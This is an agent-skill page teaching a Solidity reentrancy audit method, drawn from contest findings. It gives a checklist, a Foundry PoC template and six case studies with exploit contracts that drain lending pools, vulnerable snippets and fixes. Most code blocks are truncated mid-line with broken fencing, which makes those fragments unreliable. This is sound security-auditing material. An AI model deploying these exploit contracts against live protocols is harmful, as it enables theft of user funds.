# Solidity Reentrancy Patterns

> Solidity Advanced Reentrancy (Read-Only, Cross-Contract, Cross-Function)

- Skill: `netvar1337/solidity-reentrancy-patterns` (Agent Skill)
- Install (CLI): `npx skillmds@latest add netvar1337/solidity-reentrancy-patterns`
- Raw SKILL.md: https://api.skillmd.com/api/skills/netvar1337/solidity-reentrancy-patterns/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: netvar1337 (https://skillmd.com/u/netvar1337)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/netvar1337/solidity-reentrancy-patterns

---


# Solidity Advanced Reentrancy (Read-Only, Cross-Contract, Cross-Function)

## Overview & Empirical Grounding
This security auditing skill is synthesized from **136 empirical audit contest findings** (21 Critical, 115 High severity) extracted from the `Zaevlad/audit-findings-dataset` corpus.

Auditors and security reviewers must use this methodology when reviewing smart contracts that exhibit **Control Flow & State Execution** patterns.

### Key Trigger Keywords
`reentrancy`, `read-only reentrancy`, `cross-contract reentrancy`, `cross-function`, `erc777 hook`, `safetransferfrom`, `transient storage`, `tstore`, `nonreentrant`

---

## Threat Model & Core Attack Vectors

Detailed failure modes identified across empirical audit findings:
1. **Unchecked Assumptions & Protocol State Discrepancy**: Deviations between internal accounting state and actual balances/external conditions.
2. **Missing Boundary Checks & Validation**: Failing to constrain user inputs, return values, or stale external data feeds.
3. **Execution Ordering & Invariant Breakage**: Invariants momentarily violated during external calls or intermediary calculations.
4. **Economic & MEV Incentives**: Opportunities for adversaries to extract value through arbitrage, flash loans, or sandwiching.

---

## Step-by-Step Audit Checklist

When reviewing contracts in this domain, follow this rigorous step-by-step verification pipeline:

### 1. Architectural & Entry Point Reconnaissance
- Map all external and public entry points that interact with the vulnerable component.
- Verify access control modifiers (`onlyOwner`, `onlyRole`, custom guards) and ensure roles are initialized in constructor/initializer.
- Trace all token balance state changes and external contract interactions.

### 2. Deep Invariant & Boundary Verification
- **Input Validation**: Check zero-address (`address(0)`), zero-amount, array length parity, and upper/lower bounds.
- **State Transition Sequencing**: Verify Checks-Effects-Interactions (CEI) order. All storage updates must precede external invocations.
- **External Return Handling**: Check return values for external ERC-20 transfers, oracle queries, and delegatecalls.
- **Failure Paths & DoS Hazards**: Ensure reverts in third-party calls do not lock protocol funds or halt liquidation/withdrawal queues.

### 3. Proof of Concept (PoC) Development Guide
When drafting a reproducible exploit in Foundry (`forge test`):
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

contract AuditPoCTest is Test {
    // Setup target protocol and mock dependencies
    function setUp() public {
        // Fork mainnet or deploy local environment
    }

    function test_exploit_vector() public {
        // 1. Establish initial attacker balance
        // 2. Trigger vulnerability
        // 3. Assert invariant violation or balance drain
    }
}
```

---

## Empirical Case Studies from Zaevlad/audit-findings-dataset

The following real-world contest findings illustrate the root causes and remediation patterns:

### Case Study: Pools configured with a malicious hook can bypass the `BunniHub` re-entrancy guard to drain all raw balances and vault reserves of legitimate pools
- **Severity**: High (Dataset Weight: 1.00, ID: #25)
- **Vulnerability Mechanism**:
** The `BunniHub` is the main contract that both holds and accounts the raw balances and  vault reserves that each pool has deposited. It inherits `ReentrancyGuard` which implements the `nonReentrant` modifier:

```solidity
modifier nonReentrant() {
    _nonReentrantBefore();
    _;
    _nonReentrantAfter();
}

function _nonReentrantBefore() internal {
    uint256 statusSlot = STATUS_SLOT;
    uint256 status;
    /// @solidity memory-safe-assembly
    assembly {
        status := tload(statusSlot)
    }
    if (status == ENTERED) revert ReentrancyGuard__ReentrantCall();

    uint256 entered = ENTERED;
    /// @solidity memory-safe-assembly
    assembly {
        tstore(statusSlot, entered)
    }
}

function _nonReentrantAfter() internal {
    uint256 statusSlot = STATUS_SLOT;
    uint256 notEntered = NOT_ENTERED;
    /// @solidity memory-safe-assembly
    assembly {
        tstore(statusSlot, notEntered)
    }
}
```

During the rebalance of a Bunni pool, it is intended to separate this re-entrancy logic into before/after hooks. These functions re-use the same global re-entrancy guard transient storage slot to lock the `BunniHub` against any potential re-entrant execution by a malic

#### Proof of Concept / Vulnerable Pattern
```solidity
** To run the following PoCs:
* Add the following malicious vault implementation inside `test/mocks/ERC4626Mock.sol`:

```solidity
interface MaliciousHook {
    function continueAttackFromMaliciousVault() external;
}

contract MaliciousERC4626 is ERC4626 {
    address internal immutable _asset;
    MaliciousHook internal immutable maliciousHook;
    bool internal attackStarted;

    constructor(IERC20 asset_, address _maliciousHook) {
        _asset = address(asset_);
        maliciousHook = MaliciousHook(_maliciousHook);
    }

    function asset() public view override returns (address) {
        return _asset;
    }

    function name() public pure override returns (string memory) {
        return "MockERC4626";
    }

    function symbol() public pure override returns (string memory) {
        return "MOCK-ERC4626";
    }

    function setupAttack() external {
        attackStarted = true;
    }

    function previewRedeem(uint256 shares) public view override returns (uint256 assets) {
        return type(uint128).max;
    }

    function withdraw(uint256 assets, address to, address owner) public override returns(uint256 shares){
        if(attackStarted) {
            malicious
```

- **Remediation Recommendation**:
** The root cause of the attack was the ability to disable the intended global re-entrancy protection by invoking `unlockForRebalance()` which was subsequently disabled. One solution would be to implement the rebalance re-entrancy protection on a per-pool basis such that one pool cannot manipulate the re-entrancy guard transient storage state of another. Additionally, allowing Bunni pools to be deployed with any arbitrary hook implementation greatly increases the attack surface. It is instead recommended to minimise this by constraining the hook to be the canonical `BunniHook` implementation such that it is not possible to call such `BunniHub` functions directly.

---
### Case Study: Successful transactions are not stored, causing a replay attack on ``redeemDepositsAndInternalBalances``
- **Severity**: High (Dataset Weight: 1.00, ID: #3539)
- **Vulnerability Mechanism**:
in redeemDepositsAndInternalBalances there is no validation about the parameters that have been used which should be stored and should not be reused.

As a result, parameters that have already been used can be reused.

Look at this:

```solidity
function redeemDepositsAndInternalBalances(
        address owner,
        address reciever,
        AccountDepositData[] calldata deposits,
        AccountInternalBalance[] calldata internalBalances,
        uint256 ownerRoots,
        bytes32[] calldata proof,
        uint256 deadline,
        bytes calldata signature
    ) external payable fundsSafu noSupplyChange nonReentrant {
        // verify deposits are valid.
        // note: if the number of contracts that own deposits is small,
        // deposits can be stored in bytecode rather than relying on a merkle tree.
        verifyDepositsAndInternalBalances(owner, deposits, internalBalances, ownerRoots, proof);

        // signature verification.
        verifySignature(owner, reciever, deadline, signature)
```

```solidity
function verifyDepositsAndInternalBalances(
        address account,
        AccountDepositData[] calldata deposits,
        AccountInternalBalance[] calldata inte

#### Proof of Concept / Vulnerable Pattern
```solidity
Due to difficulty finding the same MERKLE_ROOT value as the L2ContractMigrationFacet contract.

So, this PoC only proved a simple signature replay of L2ContractMigrationFacet.

Then the bug in verifyDepositsAndInternalBalances can be proven by yourself with a replay attack scheme, since only you know the "leaves" of MERKLE_ROOT in the L2ContractMigrationFacet contract.
paste this code on dir/test of new foundry project
don't forget to install dependencies such as forge-std and openzeppelin
run with forge test -vvvv

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import "../src/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract PocTest is Test {
    using ECDSA for bytes32;

    L2ContractMigrationFacetsimple L2CMFOp;

    uint256 internal signerPrivateKey;

    uint256 optimismFork;

    bytes32 private constant REDEEMDEPOSITTYPE_HASH =
        keccak256(
            "redeemDepositsAndInternalBalances(address owner,address reciever,uint256 deadline)"
        );

    function setUp() public {
        optimismFork = vm.createSelectFork("https://rpc.ankr.com/opti
```

- **Remediation Recommendation**:
```solidity
    mapping(bytes32 => bool) public isRedeemed;

    function verifyDepositsAndInternalBalances(
        address account,
        AccountDepositData[] calldata deposits,
        AccountInternalBalance[] calldata internalBalances,
        uint256 ownerRoots,
        bytes32[] calldata proof
    ) internal {
        bytes32 leaf = keccak256(abi.encode(account, deposits, internalBalances, ownerRoots));
        if (isRedeemed[leaf]) revert REDEEMED_ALREADY();
        require(MerkleProof.verify(proof, MERKLE_ROOT, leaf), "Migration: invalid proof");
        isRedeemed[leaf] = true;
    }
```

And also do that in verifySignature ensure that can't be front running attack, like add access control or nonces

---
### Case Study: Lender contract can be drained by re-entrancy in `repay`
- **Severity**: High (Dataset Weight: 1.00, ID: #3672)
- **Vulnerability Mechanism**:
An attacker can craft a token allowing reentrant calls on transfer to drain any token from the Lender contract.

The Lender contract allows any token as loanToken and the repay function transfers the tokens before deleting the loan which result in a re-entrancy vulnerability. A malicious actor can craft a token allowing reentrant calls on transfer to exploit the re-entrancy vulnerability in the repay function and get more than one time his collateral back.

```solidity
File: Lender.Sol

L316:    // transfer the loan tokens from the borrower to the pool
            IERC20(loan.loanToken).transferFrom( // @audit - Re-entrancy can drain contract
                msg.sender,
                address(this),
                loan.debt + lenderInterest
            );
            // transfer the protocol fee to the fee receiver
            IERC20(loan.loanToken).transferFrom(
                msg.sender,
                feeReceiver,
                protocolInterest
            );
            // transfer the collateral tokens from the contract to the borrower
            IERC20(loan.collateralToken).transfer(
                loan.borrower,
                loan.collateral
            );
        

#### Proof of Concept / Vulnerable Pattern
```solidity
An attacker can use the following exploit contracts to drain the lender contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract ExploitToken is ERC20 {
    address owner;
    constructor(uint256 amount) ERC20("ExploitToken", "ET") {
        owner = msg.sender;
        _mint(msg.sender, amount);
    }

    // Hook on token transfer
    function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
        (bool status,) = owner.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
        require(status, "call failed");
    }
}
```

```solidity
File: Exploit7.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {ExploitToken} from "./ExploitToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";

contract Exploit7  {
    Lender lender;
    address collateralToken;
    ExploitToken exploitToken;
    bool loanBorrowed;
    uint256 i;

    constructor(Lender _lender, address _collateralToken) {
        len
```

- **Remediation Recommendation**:
Follow the Checks - Effect - Interactions (CEI) pattern by deleting the loan loans[loanId] before transferring the funds AND use nonReentrant modifiers

---
### Case Study: Lender contract can be drained by re-entrancy in `setPool`
- **Severity**: High (Dataset Weight: 1.00, ID: #3673)
- **Vulnerability Mechanism**:
Tokens allowing reentrant calls on transfer can be drained from the contract.

Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens).
Example of token with hook on transfer:
```solidity
pragma solidity ^0.8.19;

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract WeirdToken is ERC20 {

    constructor(uint256 amount) ERC20("WeirdToken", "WT") {
        _mint(msg.sender, amount);
    }

    // Hook on token transfer
    function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
        if (to != address(0)) {
            (bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
        }
    }
}
```
 
This kind of token allows a re-entrancy attack in the setPool function. When the new p.poolBalance is less than the currentBalance, the difference is sent to the borrower before updating the state.
```solidity
File: Lender.sol

L157:    } else if (p.poolBalance < currentBalance) {
            // if new balance < current balance then transfer the difference back to the lender
            IERC20(p.loanToken).transfer( // @audit - Critical Re-entrancy can 

#### Proof of Concept / Vulnerable Pattern
```solidity
An attacker can use the following exploit contract to drain the lender contract:
```solidity
File: Exploit3.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";

contract Exploit3  {
    Lender lender;
    Pool pool;

    constructor(Lender _lender) {
        lender = _lender;
    }

    function attack(address _loanToken, uint256 _poolBalance) external {
        ERC20(_loanToken).approve(address(lender), _poolBalance);
        // [1] Create a new pool
        Pool memory p = Pool({
            lender: address(this),
            loanToken: _loanToken,
            collateralToken: address(0),
            minLoanSize: 10 * 10**18,
            poolBalance: _poolBalance,
            maxLoanRatio: 210 * 18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        lender.setPool(p);
        // [2] Update pool with 0 poolBalance
        p.poolBalance = 0;
        pool = p;
        lender.setPool(p);
        // [3] Send the funds back to the at
```

- **Remediation Recommendation**:
Follow the Checks - Effect - Interactions (CEI) pattern by updating the pools mapping (Line 175) before transferring the funds AND use nonReentrant modifiers

---
### Case Study: `ParticleExchange.auctionBuyNft` and `ParticleExchange.withdrawEthWithInterest` function calls can be DOS’ed
- **Severity**: High (Dataset Weight: 1.00, ID: #18653)
- **Vulnerability Mechanism**:
```solidity
When `lien.borrower` is a contract, its `receive` function can be coded to conditionally revert based on a state boolean variable controlled by `lien.borrower`’s owner. As long as `payback > 0` is true, `lien.borrower`’s `receive` function would be called when calling the following `ParticleExchange.auctionBuyNft` function. In this situation, if the owner of `lien.borrower` intends to DOS the `ParticleExchange.auctionBuyNft` function call, especially when `lien.credit` is low or 0, she or he would make `lien.borrower`’s `receive` function revert.

    function auctionBuyNft(
        Lien calldata lien,
        uint256 lienId,
        uint256 tokenId,
        uint256 amount
    ) external override validateLien(lien, lienId) auctionLive(lien) {
        ...

        // pay PnL to borrower
        uint256 payback = lien.credit + lien.price - payableInterest - amount;
        if (payback > 0) {
            payable(lien.borrower).transfer(payback);
        }

        ...
    }
```

Moreover, after the auction of the lien is concluded, calling the following `ParticleExchange.withdrawEthWithInterest` function can call `lien.borrower`’s `receive` function, as long as `lien.credi

#### Proof of Concept / Vulnerable Pattern
```solidity
```solidity
The following steps can occur for the described scenario for the `ParticleExchange.auctionBuyNft` function. The situation for the `ParticleExchange.withdrawEthWithInterest` function is similar:

1. Alice is the owner of `lien.borrower` for a lien.
2. The lender of the lien starts the auction for the lien.
3. Alice does not want the auction to succeed, so she makes `lien.borrower`’s `receive` function revert by changing the controlled state boolean variable for launching the DOS attack to true.
4. For a couple of times during the auction period, some other users are willing to win the auction by supplying an NFT from the same collection, but their `ParticleExchange.auctionBuyNft` function calls all revert.
5. Since no one’s `ParticleExchange.auctionBuyNft` transaction is executed at the last second of the auction period, the auction is DOS’ed.
```
```

- **Remediation Recommendation**:
```solidity
The `ParticleExchange.auctionBuyNft` and `ParticleExchange.withdrawEthWithInterest` functions can be updated to record the `payback` and `lien.credit - payableInterest` amounts that should belong to `lien.borrower`, instead of directly sending these amounts to `lien.borrower`. Then, a function can be added to let `lien.borrower` call and receive these recorded amounts.
```

---
### Case Study: Risk of reentrancy `onERC721Received` function to manipulate collateral token configs shares
- **Severity**: High (Dataset Weight: 1.00, ID: #20963)
- **Vulnerability Mechanism**:
```solidity
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
    external
    override
    returns (bytes4)
{
    ...

    if {
        ...
    } else {
        uint256 oldTokenId = transformedTokenId;

        // if in transform mode - and a new position is sent - current position is replaced and returned
        if (tokenId != oldTokenId) {
            address owner = tokenOwner[oldTokenId];

            // set transformed token to new one
            transformedTokenId = tokenId;

            // copy debt to new token
            loans[tokenId] = Loan(loans[oldTokenId].debtShares);

            _addTokenToOwner(owner, tokenId);
            emit Add(tokenId, owner, oldTokenId);

            // clears data of old loan
            _cleanupLoan(oldTokenId, debtExchangeRateX96, lendExchangeRateX96, owner);

            //@audit can reenter with onERC721Received and call repay or borrow to call _updateAndCheckCollateral twice and manipulate collateral token configs

            // sets data of new loan
            _updateAndCheckCollateral(
                tokenId, debtExchangeRateX96, lendExchangeRateX96, 0, loans[tokenId].debtShares
            

#### Proof of Concept / Vulnerable Pattern
```solidity
Let’s use the following scenario to demonstrate the issue:

Before starting, we suppose the following states:

  * `tokenConfigs[token0].totalDebtShares = 10000`
  * `tokenConfigs[token1].totalDebtShares = 15000`
  * Bob has previously deposited a UniswapV3 position (which uses `token0` and `token1`) with `tokenId = 12` and borrowed `loans[tokenId = 12].debtShares = 1000` debt shares.
  * Bob calls the `transform` function to change the range of his position using the AutoRange transformer, which mints a new ERC721 token `tokenId = 20` for the newly arranged position and sends it to the vault.
  * Upon receiving the new token, the `V3Vault.onERC721Received` function is triggered. As we’re in transformation mode and the token ID is different, the second else block above will be executed.
  * `V3Vault.onERC721Received` will copy loan debt shares to the new token, so we’ll have `loans[tokenId = 20].debtShares = 1000`.
  * Then `V3Vault.onERC721Received` will invoke the `_cleanupLoan` function to clear the data of the old loan and transfer the old position token `tokenId = 12` back to Bob.
    * 5.1. `_cleanupLoan` will also call `_updateAndCheckCollateral` function to change `oldShare
```

- **Remediation Recommendation**:
```solidity
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
    external
    override
    returns (bytes4)
{
    ...

    if {
        ...
    } else {
        uint256 oldTokenId = transformedTokenId;

        // if in transform mode - and a new position is sent - current position is replaced and returned
        if (tokenId != oldTokenId) {
            address owner = tokenOwner[oldTokenId];

            // set transformed token to new one
            transformedTokenId = tokenId;

            // copy debt to new token
            loans[tokenId] = Loan(loans[oldTokenId].debtShares);

            _addTokenToOwner(owner, tokenId);
            emit Add(tokenId, owner, oldTokenId);

    //          // clears data of old loan
    //          _cleanupLoan(


---

## Remediation & Hardening Principles

- **Fail-Safe Defaults**: Always favor reverting rather than proceeding with invalid or unexpected state.
- **Defensive Type Safety**: Use OpenZeppelin's vetted libraries (`SafeERC20`, `ReentrancyGuardUpgradeable`, `SafeCast`, `Math`).
- **Two-Step Critical Actions**: Enforce commit-reveal or timelock mechanisms for governance and high-impact parameter changes.
- **Comprehensive Testing Matrix**: Pair unit tests with property-based invariant testing (Foundry `invariant` or Echidna) and mutation testing.

